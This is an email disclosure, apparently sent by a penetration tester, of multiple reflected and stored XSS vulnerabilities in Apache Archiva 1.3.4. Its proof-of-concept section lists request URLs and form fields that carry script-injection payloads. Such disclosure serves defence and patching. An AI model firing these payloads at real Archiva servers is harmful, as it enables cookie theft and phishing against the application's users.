Hi,
This is regarding multiple XSS (Cross Site Scripting) Vulnerabilities in
Apache Archiva 1.3.4 (and previous versions). The following is the
disclosure document
Product Description:
Apache Archiva is an extensible repository management software that
helps taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.
Vulnerability Details:
User can insert HTML or execute arbitrary JavaScript code within the
vulnerable application. The vulnerabilities arise due to insufficient
input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but
not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection,
disclosure or modification of sensitive data and phishing attacks.
Proof of Concept:
Reflected XSS:
http://127.0.0.1:8080/archiva/security/useredit.action?username=test%3Cs
cript%3Ealert%28%27xss%27%29%3C/script%3E
http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22%3E%3Cscr
ipt%3Ealert%28%27xss%27%29%3C%2Fscript%3E
http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=tes
t%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1<s
cript>alert('xss')</script>&artifactId=1<script>alert('xss')</script>&ve
rsion=1&repositoryId=internal
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?
legacyArtifactPath.path=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript
%3E&groupId=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&artifact
Id=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&version=test%3Csc
ript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&classifier=test%3Cscript%3Eal
ert%28%27xss%27%29%3C%2Fscript%3E&type=test%3Cscript%3Ealert%28%27xss%27
%29%3C%2Fscript%3E
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?pr
oxyid=test%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
Persistant (Stored) XSS:
Exploit code: test<script>alert('xss')</script>
http://127.0.0.1:8080/archiva/admin/addRepository.action
(Identifier:repository.id, Name:repository.name,
Directory:repository.location, Index Directory:repository.indexDir)
http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoi
d=
http://127.0.0.1:8080/archiva/admin/editAppearance.action
(Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)
http://127.0.0.1:8080/archiva/admin/configureAppearance.action
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:na
me=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId,
Version:version, Classifier:classifier, Type:type)
http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action
Warm Regards,
Riyaz Ahemed Walikar || Senior Engineer - Professional Services
Vulnerability Assessment & Penetration Testing
Mobile: +91-98860-42242 || Extn: 5601
The information transmitted is intended only for the person or entity to which it is addressed and may contain
confidential and/or privileged material
Any review, re-transmission, dissemination or other use of or taking of any action in reliance upon,this
information by persons or entities other than the intended recipient is prohibited.
If you received this in error, please contact the sender and delete the material from your computer.
Microland takes all reasonable steps to ensure that its electronic communications are free from viruses.
However, given Internet accessibility, the Company cannot accept liability for any virus introduced by this
e-mail or any attachment and you are advised to use up-to-date virus checking software.